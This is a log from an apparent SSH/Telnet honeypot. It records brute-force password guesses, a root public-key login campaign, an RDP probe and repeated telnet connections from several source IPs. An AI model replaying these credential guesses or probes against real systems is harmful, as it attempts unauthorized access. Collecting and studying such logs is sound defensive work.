{"eventid":"cowrie.login.failed","username":"khadijah","password":"khadijah1234","message":"login attempt [khadijah/khadijah1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:47.028072Z","src_ip":"213.209.159.56","session":"d28d28194ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khadijah","password":"khadijah12345","message":"login attempt [khadijah/khadijah12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:48.112523Z","src_ip":"213.209.159.56","session":"d28d28194ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:49.197707Z","src_ip":"213.209.159.56","session":"d28d28194ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34150,"dst_ip":"10.17.0.5","dst_port":23,"session":"53d8dd0e29e6","protocol":"telnet","message":"New connection: 152.42.224.71:34150 (10.17.0.5:23) [session: 53d8dd0e29e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:06.470680Z"}
{"eventid":"cowrie.session.closed","duration":120.00194692611694,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:09.152514Z","src_ip":"152.42.224.71","session":"cfa9c0aed1af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34166,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb914ec02636","protocol":"telnet","message":"New connection: 152.42.224.71:34166 (10.17.0.5:23) [session: bb914ec02636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:11.928699Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34174,"dst_ip":"10.17.0.5","dst_port":23,"session":"02ac2cb33cac","protocol":"telnet","message":"New connection: 152.42.224.71:34174 (10.17.0.5:23) [session: 02ac2cb33cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:12.945906Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34190,"dst_ip":"10.17.0.5","dst_port":23,"session":"976c3390b690","protocol":"telnet","message":"New connection: 152.42.224.71:34190 (10.17.0.5:23) [session: 976c3390b690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:15.781743Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37514,"dst_ip":"10.17.0.5","dst_port":23,"session":"f742180bd67f","protocol":"telnet","message":"New connection: 152.42.224.71:37514 (10.17.0.5:23) [session: f742180bd67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:21.682481Z"}
{"eventid":"cowrie.session.closed","duration":63.00603485107422,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:26.159546Z","src_ip":"152.42.224.71","session":"1d926a25f646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.22955274581909,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:26.779771Z","src_ip":"152.42.224.71","session":"7c4aa78638e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47470,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2dcfc868ce8","protocol":"telnet","message":"New connection: 152.42.224.71:47470 (10.17.0.5:23) [session: a2dcfc868ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:29.573316Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47472,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d452f62e2db","protocol":"telnet","message":"New connection: 152.42.224.71:47472 (10.17.0.5:23) [session: 8d452f62e2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:32.594361Z"}
{"eventid":"cowrie.session.closed","duration":120.00278997421265,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:34.460254Z","src_ip":"152.42.224.71","session":"98a2a46a16af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56984,"dst_ip":"10.17.0.5","dst_port":23,"session":"542c50fa3b40","protocol":"telnet","message":"New connection: 152.42.224.71:56984 (10.17.0.5:23) [session: 542c50fa3b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:43.098301Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56986,"dst_ip":"10.17.0.5","dst_port":23,"session":"639f7f74892b","protocol":"telnet","message":"New connection: 152.42.224.71:56986 (10.17.0.5:23) [session: 639f7f74892b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:45.004851Z"}
{"eventid":"cowrie.session.closed","duration":58.8861517906189,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:45.129144Z","src_ip":"152.42.224.71","session":"769b8757d07f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.34179925918579,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:56.270385Z","src_ip":"152.42.224.71","session":"bb914ec02636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.997114181518555,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:57.942934Z","src_ip":"152.42.224.71","session":"02ac2cb33cac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61773,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc79ff726115","protocol":"ssh","message":"New connection: 152.42.212.128:61773 (10.17.0.5:22) [session: fc79ff726115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:58.809414Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:58.814198Z","src_ip":"152.42.212.128","session":"fc79ff726115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:14:58.817916Z","src_ip":"152.42.212.128","session":"fc79ff726115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10596537590027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:00.679196Z","src_ip":"152.42.224.71","session":"a2dcfc868ce8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41962,"dst_ip":"10.17.0.5","dst_port":23,"session":"388756c19c3b","protocol":"telnet","message":"New connection: 152.42.224.71:41962 (10.17.0.5:23) [session: 388756c19c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:02.724431Z"}
{"eventid":"cowrie.session.closed","duration":106.77732682228088,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:03.483608Z","src_ip":"152.42.224.71","session":"f36c93bcf67f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.541712284088135,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:03.546424Z","src_ip":"152.42.224.71","session":"639f7f74892b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.119.25.48","src_port":43046,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5eb2f5830e2","protocol":"ssh","message":"New connection: 176.119.25.48:43046 (10.17.0.5:22) [session: e5eb2f5830e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:06.206903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:06.211801Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:06.351435Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:f2:70:ea:94:62:70:02:c3:22:77:e6:39:9a:19:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb0pY8SqmVrnVlhw4Q8h+uz9Yf9Ja1/uN0lqDGljbXU2roA+/bAldCgXJV8blkeOhr0TtRV33IHHr/k7Y6sBKNYyltimKTpgKYMJP5xEGFHEluyBgtQzIDStEOy0gX37HcAsbB8gPeK6LdYUr2nNiNu0DZL2fDWn8/sepm5sKjDM6lXobNCeTB1byOCUiFBodX2GV4OtbrKxLrOvf8eTGtzpCzCZZ6jOYIIbGldERu6Ilm0KGdsZ0MV5YywUyio4qtX05hAiY6Rjh+sInc3T10legeDcgQ56TBaHMRJSrag6iodx8FJ8Fbrgu547vqdgnNzS/lfxdswKWPC5Wob47H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:f2:70:ea:94:62:70:02:c3:22:77:e6:39:9a:19:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:06.944564Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:f2:70:ea:94:62:70:02:c3:22:77:e6:39:9a:19:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb0pY8SqmVrnVlhw4Q8h+uz9Yf9Ja1/uN0lqDGljbXU2roA+/bAldCgXJV8blkeOhr0TtRV33IHHr/k7Y6sBKNYyltimKTpgKYMJP5xEGFHEluyBgtQzIDStEOy0gX37HcAsbB8gPeK6LdYUr2nNiNu0DZL2fDWn8/sepm5sKjDM6lXobNCeTB1byOCUiFBodX2GV4OtbrKxLrOvf8eTGtzpCzCZZ6jOYIIbGldERu6Ilm0KGdsZ0MV5YywUyio4qtX05hAiY6Rjh+sInc3T10legeDcgQ56TBaHMRJSrag6iodx8FJ8Fbrgu547vqdgnNzS/lfxdswKWPC5Wob47H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:06.949205Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:51:35:87:97:82:df:97:2b:e2:2c:6c:de:79:a7:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC72/Cj6CgNy+KSwzKlcGKj1/e/hyFr/WQBDByP757DOLgdYQnj/s1NNz49W6eSC3NQuRLsl5phd96PdJVIsz2oAQ7ZUZRts4B9JzH+RPHwkpkDKGGuNCuCD4eOKxgdKkHjgqp14T1C58MDVzMh0PABuI/I3tu3bUqeSobAATbTQoAdMtWHoHGytlo3KM+/rzrWhSLPW6lSCKsrUXKhxxpxzm9FRNS2TIQf2gZARpKIKD4GCwhODq83x2UNvMhkBfvgtGZca12y3cqwqP4xhBpp6gsO+DDATOE0hvvrfOsYB1F6ie3YFzN2V/MN02Vl+XfU8EZca0TooupzV33cr/xV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:51:35:87:97:82:df:97:2b:e2:2c:6c:de:79:a7:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:07.072927Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:51:35:87:97:82:df:97:2b:e2:2c:6c:de:79:a7:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC72/Cj6CgNy+KSwzKlcGKj1/e/hyFr/WQBDByP757DOLgdYQnj/s1NNz49W6eSC3NQuRLsl5phd96PdJVIsz2oAQ7ZUZRts4B9JzH+RPHwkpkDKGGuNCuCD4eOKxgdKkHjgqp14T1C58MDVzMh0PABuI/I3tu3bUqeSobAATbTQoAdMtWHoHGytlo3KM+/rzrWhSLPW6lSCKsrUXKhxxpxzm9FRNS2TIQf2gZARpKIKD4GCwhODq83x2UNvMhkBfvgtGZca12y3cqwqP4xhBpp6gsO+DDATOE0hvvrfOsYB1F6ie3YFzN2V/MN02Vl+XfU8EZca0TooupzV33cr/xV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:07.078223Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:53:4e:cc:4e:79:ea:46:9d:a1:9b:81:32:48:66:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgansv0PoFjwvKWYwcksJ1k9mZg3NhhfiNRfZlhulUJ93ByOigD7IjL24mRP6/oEj+RLEEIAljKJct/XwMpWf91yL4kdZni0q4GyzsmJt1CRW+sZeOUZysYJj2LDyFm4ZlgG3JY4NTUnHNhgHOGYV10iB0HeBQhqrZqzmwhTT5TvTUYcx29VemDQpdJl0ll4GW/RWaAkyrPJPrLU3ZlOqFRlaNhSXhmCFtGFW1OTLM4E0enLXlDnRmDo05+DJweK5yNigMm9aW75qQC4cMRLBJypUltb8FsWBbkZsn5C3vPmk+K147+vVLdxjDifTW1MURL6jMLwZelEySIC3DkbcR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:53:4e:cc:4e:79:ea:46:9d:a1:9b:81:32:48:66:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:07.202520Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:53:4e:cc:4e:79:ea:46:9d:a1:9b:81:32:48:66:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgansv0PoFjwvKWYwcksJ1k9mZg3NhhfiNRfZlhulUJ93ByOigD7IjL24mRP6/oEj+RLEEIAljKJct/XwMpWf91yL4kdZni0q4GyzsmJt1CRW+sZeOUZysYJj2LDyFm4ZlgG3JY4NTUnHNhgHOGYV10iB0HeBQhqrZqzmwhTT5TvTUYcx29VemDQpdJl0ll4GW/RWaAkyrPJPrLU3ZlOqFRlaNhSXhmCFtGFW1OTLM4E0enLXlDnRmDo05+DJweK5yNigMm9aW75qQC4cMRLBJypUltb8FsWBbkZsn5C3vPmk+K147+vVLdxjDifTW1MURL6jMLwZelEySIC3DkbcR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:07.208358Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:44:72:8f:43:75:16:de:68:ac:d0:4b:37:08:ef:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQKgUWfV8dG/+K4/4RYTfDy+vcl6bEIzg61OLyy08DZNnMx5teC8CIqTrBKqG0a+I5c6X/Imfl+zIws2EBkHmxzDuGvuc8bzIk/MnKIHi8lwYnsFwANs/SWZNKWB+H1OSMC5WWpT8TW7fcYblIfhDeHPbzxpOo8fxgF5PI/DyaM5KL1HW9Zw+uWNOYInVhk44/aBfyVoBI4NsgKMPbuFUeshSooqjd4M22ehAy4tC+IzfitxG8QC+R/pJL+e0I44SL43R/nbj8HsAtpHmXNAJmbab84UTno/obNXsZiUypUX+nb6UCiHQ3nCgz6C+JNvotEOl42KxAbRFBsuktdKX0sqo3p8p5f3TPZNabUs9yAfqTzXB3KtZzAx9xvdxsUXR0RqByVFlTGnHzpNkAFopiBUCwMcCeKAD1p2TGkqB5fisvoARnq0m3SqRCsJ8I8MbVJSIq4mX5fr9nKwyxuZ0RX46Vm4nUkU0SNmSE0sEeq6NmIAUB/3Rf1iwswoK3FDE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:44:72:8f:43:75:16:de:68:ac:d0:4b:37:08:ef:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:07.333278Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:44:72:8f:43:75:16:de:68:ac:d0:4b:37:08:ef:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQKgUWfV8dG/+K4/4RYTfDy+vcl6bEIzg61OLyy08DZNnMx5teC8CIqTrBKqG0a+I5c6X/Imfl+zIws2EBkHmxzDuGvuc8bzIk/MnKIHi8lwYnsFwANs/SWZNKWB+H1OSMC5WWpT8TW7fcYblIfhDeHPbzxpOo8fxgF5PI/DyaM5KL1HW9Zw+uWNOYInVhk44/aBfyVoBI4NsgKMPbuFUeshSooqjd4M22ehAy4tC+IzfitxG8QC+R/pJL+e0I44SL43R/nbj8HsAtpHmXNAJmbab84UTno/obNXsZiUypUX+nb6UCiHQ3nCgz6C+JNvotEOl42KxAbRFBsuktdKX0sqo3p8p5f3TPZNabUs9yAfqTzXB3KtZzAx9xvdxsUXR0RqByVFlTGnHzpNkAFopiBUCwMcCeKAD1p2TGkqB5fisvoARnq0m3SqRCsJ8I8MbVJSIq4mX5fr9nKwyxuZ0RX46Vm4nUkU0SNmSE0sEeq6NmIAUB/3Rf1iwswoK3FDE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:07.339185Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:ef:26:67:1e:57:30:74:7e:fa:a0:dd:1b:7d:93:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb5FXjIGdoM7h6evyddf/k3FROQO2b7Vl0POfZoYnmypqMYcGMUWkEsdfpY+q9H3i/jvORCvdt1Wl12MtzVJFbpAn4BZ1u9z1OjAW1iyreqfBb39fOJKR3/ygpbHGIO6bwMaCwMF8rvkzadSoqN9Ad14SiCXz+dg2C/4+1cxdbWHvQe99oDsWVb/7LQwjpQISS3jX86/+84MGFh9NfkwBNcFIxY8u2CcuyZYNm51UtmITvjQsOG5E5zOLLscfomY3B7ZrN3wrgzuCo25PIDR5FwZ/guZv48wgd43D7Zdmdh0FSM8wvOSaizsggkVFkCBXmeb9EvnhRGEkrzfJv+9M/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:ef:26:67:1e:57:30:74:7e:fa:a0:dd:1b:7d:93:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:07.467962Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:ef:26:67:1e:57:30:74:7e:fa:a0:dd:1b:7d:93:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb5FXjIGdoM7h6evyddf/k3FROQO2b7Vl0POfZoYnmypqMYcGMUWkEsdfpY+q9H3i/jvORCvdt1Wl12MtzVJFbpAn4BZ1u9z1OjAW1iyreqfBb39fOJKR3/ygpbHGIO6bwMaCwMF8rvkzadSoqN9Ad14SiCXz+dg2C/4+1cxdbWHvQe99oDsWVb/7LQwjpQISS3jX86/+84MGFh9NfkwBNcFIxY8u2CcuyZYNm51UtmITvjQsOG5E5zOLLscfomY3B7ZrN3wrgzuCo25PIDR5FwZ/guZv48wgd43D7Zdmdh0FSM8wvOSaizsggkVFkCBXmeb9EvnhRGEkrzfJv+9M/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:07.474138Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:07.599314Z","src_ip":"176.119.25.48","session":"e5eb2f5830e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00823998451233,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:14.990931Z","src_ip":"152.42.224.71","session":"5ecb2d123d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00105714797974,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:15.443471Z","src_ip":"152.42.224.71","session":"3f52f3d48d49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.83888006210327,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:17.433158Z","src_ip":"152.42.224.71","session":"8d452f62e2db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":43186,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb150e8b68bf","protocol":"ssh","message":"New connection: 193.37.70.224:43186 (10.17.0.5:22) [session: cb150e8b68bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:23.242388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:23.247045Z","src_ip":"193.37.70.224","session":"cb150e8b68bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:23.339713Z","src_ip":"193.37.70.224","session":"cb150e8b68bf","protocol":"ssh"}
